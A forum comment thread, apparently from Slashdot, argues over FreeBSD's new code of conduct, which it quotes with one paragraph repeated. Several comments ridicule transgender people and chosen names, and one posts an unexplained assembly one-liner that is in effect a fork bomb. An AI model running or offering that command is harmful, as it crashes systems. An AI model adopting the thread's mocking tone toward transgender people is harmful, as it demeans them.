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FreeBSD's New Code of Conduct (freebsd.org)
FreeBSD has a new code of conduct, which is making several people angry. From the blog post: This code of conduct applies to all spaces used by the FreeBSD Project, including our mailing lists, IRC channels, and social media, both online and off. Anyone who is found to violate this code of conduct may be sanctioned or expelled from FreeBSD Project controlled spaces at the discretion of the FreeBSD Code of Conduct Committee. Participants are responsible for knowing and abiding by these rules. Harassment includes but is not limited to: Comments that reinforce systemic oppression related to gender, gender identity and expression, sexual orientation, disability, mental illness, neurodiversity, physical appearance, body size, age, race, or religion. Unwelcome comments regarding a person's lifestyle choices and practices, including those related to food, health, parenting, drugs, and employment. Deliberate misgendering. Deliberate use of "dead" or rejected names. Gratuitous or off-topic sexual images or behaviour in spaces where they're not appropriate.
Physical contact and simulated physical contact (e.g., textual descriptions like "hug" or "backrub") without consent or after a request to stop. Threats of violence. Incitement of violence towards any individual, including encouraging a person to commit suicide or to engage in self-harm. Deliberate intimidation. Stalking or following. Harassing photography or recording, including logging online activity for harassment purposes. Sustained disruption of discussion. Unwelcome sexual attention. Pattern of inappropriate social contact, such as requesting/assuming inappropriate levels of intimacy with others. Continued one-on-one communication after requests to cease. Deliberate "outing" of any private aspect of a person's identity without their consent except as necessary to protect vulnerable people from intentional abuse. Publication of non-harassing private communication without consent. Publication of non-harassing private communication with consent but in a way that intentionally misrepresents the communication (e.g., removes context that changes the meaning). Knowingly making harmful false claims about a person.
Physical contact and simulated physical contact (e.g., textual descriptions like "hug" or "backrub") without consent or after a request to stop. Threats of violence. Incitement of violence towards any individual, including encouraging a person to commit suicide or to engage in self-harm. Deliberate intimidation. Stalking or following. Harassing photography or recording, including logging online activity for harassment purposes. Sustained disruption of discussion. Unwelcome sexual attention. Pattern of inappropriate social contact, such as requesting/assuming inappropriate levels of intimacy with others. Continued one-on-one communication after requests to cease. Deliberate "outing" of any private aspect of a person's identity without their consent except as necessary to protect vulnerable people from intentional abuse. Publication of non-harassing private communication without consent. Publication of non-harassing private communication with consent but in a way that intentionally misrepresents the communication (e.g., removes context that changes the meaning). Knowingly making harmful false claims about a person.
... but if I did, I would quit. This is over the top. It feels more like a blanket list of vague infractions to have on hand so that they can rid of anyone they feel like.
This Code of Conduct is based on the example policy from the Geek Feminism wiki.
I am all for equal rights, but feminism is something else entirely.
Free software is all about community. I don't see anything in that list that I would *want* in my community. What's so controversial about having a policy that says you need to not be jerks to each other? This is behavior that would not be tolerated in a workplace or just about anywhere else.
Conservative and Liberal are insufficient tags nowadays.
If you identify yourself as a liberal, you probably nowadays think of conservative as meaning (perhaps not self-acknowledge) white supremacy and Trumpism.
If you identify yourself as a conservative, you probably nowadays think of liberal as meaning in favor of the kind of identity politics that leads to speech codes and censorship that begins to be reminiscent of Mao's cultural revolution.
The thing is, there are people who would at least have traditionally identified themselves with both labels who aren't either of this, but still actually possess the ability to reason. Sadly, the current climate is allowing the white supremists to come out of the woodwork and go mainstream, and that in turn is convincing people who should otherwise know better to endorse the extremes of identity politics censorship.
At the moment, the national liberal party in the US (the Democratic party) hasn't been caught up in the craziness of the left (i.e. overarching speech policies that consider saying "*hugs*" a form of agression), whereas the Republican party has at least partially been caught up in the craziness of the right (i.e. not recoiling from Trump). If anything, this makes the extremes of identity politics all the more insidious and dangerous. There need to be ways for people to stand up and point to the excesses of that without having to be identified with, or feel that perhaps they even must share a lot of values with, the jingoistic Trumpists of the world.
Yeah, it doesnt say much for the progress of FreeBSD development when they are focusing on the welfare of a handful a transgendered software developers instead of... you know... the actual operating system they are developing.
What I want to know is why an Operating System development mailing list would talk about such subjects? There has to be better forums for that. If I was writing a Code Of Conduct, I think that I would be telling people not to post politically charged content that has nothing to do with OS development, regardless of subject matter.
FreeBSD obviously feels that this code of conduct, together with the associated concepts of diversity, inclusion and acceptance, will promote the quality, usefulness and innovation of their software.
Let's take the opportunity to run an experiment. In five years, will FreeBSD be strong, admired and above all, be downloaded and used, compared to its less enlightened peers? Which paradigm will prevail?
I propose that we revisit this topic yearly, to assess.
Prove anything by multiplying Huge Number times Tiny Number
I have a much shorter code of conduct:
Don't be an asshole. If you are behaving as an asshole you are given one chance of behaving like a mature adult, if you don't you can leave.
True but irrelevant. The Necronomicon has nothing to do with the social notion of a "dead name" which roughly translates to "Don't call me by the hated name my inauthentic narcissistic parents gave me, even though I have been too lazy or inconsistent to legally change it, yet I will become enraged and publicly insulting if you do not refer to me by an obtuse nickname I've only told to a handful of people I felt safe disclosing it to."
With respect to the policy overall, it's like an angsty high-school kid exploded on the page, with a convoluted list of serious actual crimes intermixed with imagined slights and vague conditions defined by perception rather than action or intent. The list translates roughly to: "We're having technical difficulties adulting just now. Please leave us alone for a few years while we remove the sideways tampon from our sense of community, and ability to differentiate between criminal acts and mild transgressions that function as social lubricant. It's going to be a minute."
In both cases: "TL;DR: Ignore me."
I think not...(*poof*)
You just don't realize that we are laughing at people like you. You, Trump and Damore need to go into the dustbin.
If /. adopted the BSD code of conduct, your comment would be in violation at a minimum of "Unwelcome comments regarding a person's lifestyle choices and practices".
Amazingly, those are the only ones that seem to actually do any work.
But maybe that's just because the loudmouth mob of straight white male-hating non-straight white males are giving everybody else such a bad name.
Anyway, that sort of bs would be enough for me to bugger off to greener pa$ture$. No need to wait for the constructive dismissal you just know is coming your way. Do your part in bringing down idiocy and brush up the old CV. And yeah, even google can be brought down that way. They have already lost their ability to innovate.
Funny how you can't remember any of those one liners.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Not only that, but keep in mind what can count as private aspects of a person's identity.
What happens if you ask some guy you know well how his boyfriend's doing, and it turns out he isn't officially out of the closet? Or ask someone you know is in another country if they can do a lookup on a website for you to see if it works from that country?
'Private aspects' can be oh, so many things. Many years ago I was a regular in a chatroom with a bunch of other guys. One of these was absolutely sure no one he hadn't deliberately confided in could find out who he was.
That is, until I pointed out to him that he'd mentioned he worked at a university, he'd mentioned stopping at a specific point on his bike ride to work, he'd mentioned the number of a specific kind of shop at the intersection his apartment sat above, and he once dropped a comment to someone about needing to travel about forty kilometers to cross the border to use a specific currency they were talking about.
He had no idea before then how much private information he was leaking all on his own.
These rules? They're forbidding saying "Hey John, you're in Austria now, right?"
-=This sig has nothing to do with my comment. Move along now=-
Theo is actually Chuck Norris incognito. He doesn't NEED a score.
This whole topic is just... it's a fucking mess.
I'd hug you all via text, but it'd be a hate crime.
Actually there is a very important third class: people who think you shouldn't be shitty, but yet don't think there should need to be some huge convoluted set of rules about it.
The only ones who won't want to stick around are the ones nobody wanted around in the first place.
Spoken like a true authoritarian communist.